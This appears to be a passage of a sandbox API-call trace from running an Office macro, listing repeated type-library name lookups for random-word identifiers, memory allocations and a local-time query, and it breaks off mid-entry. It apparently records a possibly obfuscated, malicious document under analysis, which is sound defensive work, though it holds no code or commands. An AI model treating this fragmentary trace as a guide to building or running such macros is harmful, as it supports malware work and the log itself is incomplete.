LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_affectioned") returned 0x309ff8 [0018.215] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.215] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="burro") returned 0x1076d9 [0018.215] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x6, _Src="burro" | out: _Dst="burro") returned 0x0 [0018.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=6, lpWideCharStr=0x263600, cchWideChar=6 | out: lpWideCharStr="burro") returned 6 [0018.215] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.215] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="burro", lHashVal=0x1076d9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.215] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.215] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="burro", lHashVal=0x1076d9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.215] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.215] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="burro", lHashVal=0x1076d9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.215] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.215] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="burro", lHashVal=0x1076d9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x7479720) returned 0x5 [0018.215] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_burro") returned 0x303ac6 [0018.215] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.215] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pyrophorus") returned 0x100586 [0018.216] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xb, _Src="pyrophorus" | out: _Dst="pyrophorus") returned 0x0 [0018.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=11, lpWideCharStr=0x263600, cchWideChar=11 | out: lpWideCharStr="pyrophorus") returned 11 [0018.216] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.216] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="pyrophorus", lHashVal=0x100586, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.216] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.216] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.216] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="pyrophorus", lHashVal=0x100586, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.216] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.216] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.216] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="pyrophorus", lHashVal=0x100586, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.216] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.216] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.216] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="pyrophorus", lHashVal=0x100586, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.216] IUnknown:Release (This=0x7479720) returned 0x5 [0018.216] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_pyrophorus") returned 0x30dd3f [0018.216] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.216] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.216] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2639a8 | out: ppvObject=0x2639a8*=0x0) returned 0x80004002 [0018.216] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a20 | out: ppvObject=0x263a20*=0x0) returned 0x80004002 [0018.216] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263990 | out: ppvObject=0x263990*=0x0) returned 0x80004002 [0018.216] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a10 | out: ppvObject=0x263a10*=0x0) returned 0x80004002 [0018.216] ITypeInfo:RemoteGetTypeAttr (in: This=0x748c658, ppTypeAttr=0x263998, pDummy=0x10 | out: ppTypeAttr=0x263998, pDummy=0x10) returned 0x0 [0018.216] ITypeInfo:LocalReleaseTypeAttr (This=0x748c658) returned 0x0 [0018.216] IUnknown:AddRef (This=0x748c658) returned 0x4 [0018.216] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="askant") returned 0x105383 [0018.216] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x7, _Src="askant" | out: _Dst="askant") returned 0x0 [0018.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=7, lpWideCharStr=0x263600, cchWideChar=7 | out: lpWideCharStr="askant") returned 7 [0018.217] IUnknown:AddRef (This=0x72d9b00) returned 0x11 [0018.217] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="askant", lHashVal=0x105383, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.217] IUnknown:Release (This=0x72d9b00) returned 0x10 [0018.217] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.217] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="askant", lHashVal=0x105383, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.217] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.217] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.217] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="askant", lHashVal=0x105383, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.217] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.217] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.217] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="askant", lHashVal=0x105383, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.217] IUnknown:Release (This=0x7479720) returned 0x5 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_askant") returned 0x30ce2c [0018.217] IUnknown:AddRef (This=0x72d9b00) returned 0x11 [0018.217] IUnknown:Release (This=0x72d9b00) returned 0x10 [0018.217] ITypeInfo:LocalReleaseVarDesc (This=0x748cef0) returned 0x0 [0018.217] IUnknown:QueryInterface (in: This=0x748cef0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2639a8 | out: ppvObject=0x2639a8*=0x0) returned 0x80004002 [0018.217] IUnknown:QueryInterface (in: This=0x748cef0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a20 | out: ppvObject=0x263a20*=0x0) returned 0x80004002 [0018.217] IUnknown:QueryInterface (in: This=0x748cef0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263990 | out: ppvObject=0x263990*=0x0) returned 0x80004002 [0018.217] IUnknown:QueryInterface (in: This=0x748cef0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263a10 | out: ppvObject=0x263a10*=0x0) returned 0x80004002 [0018.217] ITypeInfo:RemoteGetTypeAttr (in: This=0x748cef0, ppTypeAttr=0x263998, pDummy=0x10 | out: ppTypeAttr=0x263998, pDummy=0x10) returned 0x0 [0018.217] ITypeInfo:LocalReleaseTypeAttr (This=0x748cef0) returned 0x0 [0018.217] IUnknown:AddRef (This=0x748cef0) returned 0x3 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="promulgator") returned 0x10898e [0018.217] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xc, _Src="promulgator" | out: _Dst="promulgator") returned 0x0 [0018.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=12, lpWideCharStr=0x263600, cchWideChar=12 | out: lpWideCharStr="promulgator") returned 12 [0018.217] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.217] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="promulgator", lHashVal=0x10898e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.217] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.217] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.218] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="promulgator", lHashVal=0x10898e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.218] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.218] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="promulgator", lHashVal=0x10898e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.218] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.218] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="promulgator", lHashVal=0x10898e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x7479720) returned 0x5 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_promulgator") returned 0x306b6f [0018.218] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.218] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jakarta") returned 0x10ca97 [0018.218] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="jakarta" | out: _Dst="jakarta") returned 0x0 [0018.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="jakarta") returned 8 [0018.218] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.218] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="jakarta", lHashVal=0x10ca97, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.218] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.218] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="jakarta", lHashVal=0x10ca97, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.218] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.218] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="jakarta", lHashVal=0x10ca97, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.218] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.218] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="jakarta", lHashVal=0x10ca97, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.218] IUnknown:Release (This=0x7479720) returned 0x5 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_jakarta") returned 0x30ce1b [0018.218] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.218] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buyout") returned 0x10929f [0018.219] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x7, _Src="buyout" | out: _Dst="buyout") returned 0x0 [0018.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=7, lpWideCharStr=0x263600, cchWideChar=7 | out: lpWideCharStr="buyout") returned 7 [0018.219] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.219] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="buyout", lHashVal=0x10929f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.219] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.219] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="buyout", lHashVal=0x10929f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.219] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.219] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="buyout", lHashVal=0x10929f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.219] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.219] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="buyout", lHashVal=0x10929f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x7479720) returned 0x5 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_buyout") returned 0x3023c0 [0018.219] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.219] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="filament") returned 0x10cbae [0018.219] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="filament" | out: _Dst="filament") returned 0x0 [0018.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="filament") returned 9 [0018.219] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.219] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="filament", lHashVal=0x10cbae, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.219] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.219] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="filament", lHashVal=0x10cbae, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.219] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.219] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="filament", lHashVal=0x10cbae, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.219] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.219] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="filament", lHashVal=0x10cbae, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.219] IUnknown:Release (This=0x7479720) returned 0x5 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_filament") returned 0x3093b6 [0018.220] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.220] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ballista") returned 0x105451 [0018.220] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="ballista" | out: _Dst="ballista") returned 0x0 [0018.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="ballista") returned 9 [0018.220] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.220] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ballista", lHashVal=0x105451, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.220] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.220] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.220] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ballista", lHashVal=0x105451, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.220] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.220] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.220] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ballista", lHashVal=0x105451, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.220] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.220] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.220] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ballista", lHashVal=0x105451, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.220] IUnknown:Release (This=0x7479720) returned 0x5 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ballista") returned 0x302bda [0018.220] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.220] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.220] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf30000 [0018.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gly") returned 0x109446 [0018.221] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x4, _Src="gly" | out: _Dst="gly") returned 0x0 [0018.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=4, lpWideCharStr=0x263600, cchWideChar=4 | out: lpWideCharStr="gly") returned 4 [0018.221] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.221] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="gly", lHashVal=0x109446, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.221] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.221] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.221] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="gly", lHashVal=0x109446, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.221] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.221] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.221] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="gly", lHashVal=0x109446, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.221] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.221] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.221] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="gly", lHashVal=0x109446, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.221] IUnknown:Release (This=0x7479720) returned 0x5 [0018.222] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_gly") returned 0x30515b [0018.222] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.222] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.222] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aurae") returned 0x10e28c [0018.222] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x6, _Src="aurae" | out: _Dst="aurae") returned 0x0 [0018.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=6, lpWideCharStr=0x263600, cchWideChar=6 | out: lpWideCharStr="aurae") returned 6 [0018.222] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.222] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="aurae", lHashVal=0x10e28c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.222] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.222] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.222] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="aurae", lHashVal=0x10e28c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.222] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.222] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.222] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="aurae", lHashVal=0x10e28c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.222] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.222] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.222] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="aurae", lHashVal=0x10e28c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.222] IUnknown:Release (This=0x7479720) returned 0x5 [0018.222] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_aurae") returned 0x30a679 [0018.222] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.222] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.222] GetLocalTime (in: lpSystemTime=0x263780 | out: lpSystemTime=0x263780*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x1, wMilliseconds=0xe2)) [0018.222] _ultow_s (in: _Value=0x5b6e3d09, _Buffer=0x74a902c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d09") returned 0x0 [0018.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="075b6e3d09", cchWideChar=11, lpMultiByteStr=0x263700, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="075b6e3d09", lpUsedDefaultChar=0x0) returned 11 [0018.223] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rejectious") returned 0x10bfb1 [0018.223] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xb, _Src="rejectious" | out: _Dst="rejectious") returned 0x0 [0018.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=11, lpWideCharStr=0x263600, cchWideChar=11 | out: lpWideCharStr="rejectious") returned 11 [0018.223] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.224] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="rejectious", lHashVal=0x10bfb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.224] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.224] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.224] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="rejectious", lHashVal=0x10bfb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.224] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.224] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.224] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="rejectious", lHashVal=0x10bfb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.224] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.224] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.224] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="rejectious", lHashVal=0x10bfb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.224] IUnknown:Release (This=0x7479720) returned 0x5 [0018.224] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_rejectious") returned 0x302ddc [0018.224] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.224] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.224] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf40000 [0018.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tallage") returned 0x10ec4c [0018.225] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="tallage" | out: _Dst="tallage") returned 0x0 [0018.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="tallage") returned 8 [0018.225] IUnknown:AddRef (This=0x72d9b00) returned 0x13 [0018.225] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="tallage", lHashVal=0x10ec4c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.225] IUnknown:Release (This=0x72d9b00) returned 0x12 [0018.225] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.225] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="tallage", lHashVal=0x10ec4c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.225] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.225] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.225] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="tallage", lHashVal=0x10ec4c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.225] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.225] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.225] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="tallage", lHashVal=0x10ec4c, pfName=0x263758, pBstrLibName=0x263600 | out: 